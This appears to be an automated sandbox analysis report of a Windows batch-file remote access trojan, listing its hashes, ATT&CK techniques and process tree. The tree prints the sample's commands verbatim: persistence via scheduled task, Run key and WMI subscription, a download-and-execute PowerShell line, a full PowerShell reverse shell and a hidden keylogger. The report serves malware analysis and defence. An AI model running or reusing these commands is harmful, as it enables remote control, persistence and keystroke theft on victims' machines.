25c641bdbd43e7d1d4730c8c19ace08d68d9d394aecbddc10829ca3d6441f948

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:11

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General

Target
rat_build_77863_014246.bat
Size 4KB
Sample260529-14d4fahs3v
SHA256 25c641bdbd43e7d1d4730c8c19ace08d68d9d394aecbddc10829ca3d6441f948
MD5 52243253907972c8a15fdbebcf2877fc
SHA1 108779ffa83f7379c233e580f4402547fcc90dd6
SHA512 1383d6cef89e8c74f3cd646dc6cfff260e9db39e4bcecfbd3bc89f62a37c91ddd201b1990b7199ed82e0025c15e4c03ad5464a8a6ccdf8e625287a196ed0ccaf
SSDEEP 96:0IUQWeLLqFJUFsWJ2ZsxgxllF2xY2RnB8b5knA3g9ZdiFgZk8mvlo17bc:0HeLL0Mj0ZsxclAxWGnA3ciFgkHlEbc
TLSH
T1F5A1C4176B97313089B2261CD9363D5457ACE5FB1308C58CAF8C8CCD2B5CE47852AAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_77863.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4924	powershell.exe
1052	powershell.exe
3212	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_77863 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_77863.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1844	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2416	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3924	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4924	powershell.exe
4924	powershell.exe
1052	powershell.exe
1052	powershell.exe
3212	powershell.exe
3212	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	992	WMIC.exe
Token: SeSecurityPrivilege	992	WMIC.exe
Token: SeTakeOwnershipPrivilege	992	WMIC.exe
Token: SeLoadDriverPrivilege	992	WMIC.exe
Token: SeSystemProfilePrivilege	992	WMIC.exe
Token: SeSystemtimePrivilege	992	WMIC.exe
Token: SeProfSingleProcessPrivilege	992	WMIC.exe
Token: SeIncBasePriorityPrivilege	992	WMIC.exe
Token: SeCreatePagefilePrivilege	992	WMIC.exe
Token: SeBackupPrivilege	992	WMIC.exe
Token: SeRestorePrivilege	992	WMIC.exe
Token: SeShutdownPrivilege	992	WMIC.exe
Token: SeDebugPrivilege	992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	992	WMIC.exe
Token: SeRemoteShutdownPrivilege	992	WMIC.exe
Token: SeUndockPrivilege	992	WMIC.exe
Token: SeManageVolumePrivilege	992	WMIC.exe
Token: 33	992	WMIC.exe
Token: 34	992	WMIC.exe
Token: 35	992	WMIC.exe
Token: 36	992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	992	WMIC.exe
Token: SeSecurityPrivilege	992	WMIC.exe
Token: SeTakeOwnershipPrivilege	992	WMIC.exe
Token: SeLoadDriverPrivilege	992	WMIC.exe
Token: SeSystemProfilePrivilege	992	WMIC.exe
Token: SeSystemtimePrivilege	992	WMIC.exe
Token: SeProfSingleProcessPrivilege	992	WMIC.exe
Token: SeIncBasePriorityPrivilege	992	WMIC.exe
Token: SeCreatePagefilePrivilege	992	WMIC.exe
Token: SeBackupPrivilege	992	WMIC.exe
Token: SeRestorePrivilege	992	WMIC.exe
Token: SeShutdownPrivilege	992	WMIC.exe
Token: SeDebugPrivilege	992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	992	WMIC.exe
Token: SeRemoteShutdownPrivilege	992	WMIC.exe
Token: SeUndockPrivilege	992	WMIC.exe
Token: SeManageVolumePrivilege	992	WMIC.exe
Token: 33	992	WMIC.exe
Token: 34	992	WMIC.exe
Token: 35	992	WMIC.exe
Token: 36	992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5000	WMIC.exe
Token: SeSecurityPrivilege	5000	WMIC.exe
Token: SeTakeOwnershipPrivilege	5000	WMIC.exe
Token: SeLoadDriverPrivilege	5000	WMIC.exe
Token: SeSystemProfilePrivilege	5000	WMIC.exe
Token: SeSystemtimePrivilege	5000	WMIC.exe
Token: SeProfSingleProcessPrivilege	5000	WMIC.exe
Token: SeIncBasePriorityPrivilege	5000	WMIC.exe
Token: SeCreatePagefilePrivilege	5000	WMIC.exe
Token: SeBackupPrivilege	5000	WMIC.exe
Token: SeRestorePrivilege	5000	WMIC.exe
Token: SeShutdownPrivilege	5000	WMIC.exe
Token: SeDebugPrivilege	5000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5000	WMIC.exe
Token: SeRemoteShutdownPrivilege	5000	WMIC.exe
Token: SeUndockPrivilege	5000	WMIC.exe
Token: SeManageVolumePrivilege	5000	WMIC.exe
Token: 33	5000	WMIC.exe
Token: 34	5000	WMIC.exe
Token: 35	5000	WMIC.exe
Token: 36	5000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5000	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 3612	1708	cmd.exe	88
PID 1708 wrote to memory of 3924	1708	cmd.exe	89
PID 1708 wrote to memory of 992	1708	cmd.exe	90
PID 1708 wrote to memory of 5000	1708	cmd.exe	91
PID 1708 wrote to memory of 3352	1708	cmd.exe	92
PID 1708 wrote to memory of 2416	1708	cmd.exe	94
PID 1708 wrote to memory of 1844	1708	cmd.exe	101
PID 1708 wrote to memory of 4924	1708	cmd.exe	102
PID 1708 wrote to memory of 1052	1708	cmd.exe	103
PID 1708 wrote to memory of 3212	1708	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_77863_014246.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_77863" /tr "C:\Users\Admin\AppData\Local\Temp\_77863.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3612
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_77863" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_77863.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3924
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_77863", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:992
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_77863", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_77863.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5000
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_77863.txt
  2⤵
  PID:3352
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2416
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_77863.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b2c90200d19bd5cec74c54723099b3278d7826a51b39e3c473aa75bcdd69a98e
MD5 ecd4567ca365755aa44e253575935b0e
SHA1 79e9b8eb2ece03c270cba43035839a787fbc94a7
SHA512 1f2475967a74516d62507c00f115c8d9cd57eed47612112217ca98045cb8053f8a2f7de6372598fbd7b040d95ad4ed9cd782a2846dec09066045c8ecbb2a826c
TLSH
T164117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D614A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 193ff6638fb8aff4a5202080bb3323a079ebd630363b1fb5627500a61f50d1bb
MD5 018209c2aca91af0ff46ed3d8c79d783
SHA1 9cc2669bbcd94af4a242c6eb8fddbe8f3ab34e49
SHA512 0f58c488963bf78a18a1ce957b30ac9328ab707104737a5bf54ee3fd5043aed810cca8fcb5a0bc24d773556184924ed5df01bda84618d547f6acea23a8884faa
TLSH
T1A7115727B39C89A1CC96153A409D9C1172B683DB409EDEDF7BC0D214A1BF584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mfgoycsz.gqs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mfgoycsz.gqs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4924-3-0x0000025DE0620000-0x0000025DE0642000-memory.dmp

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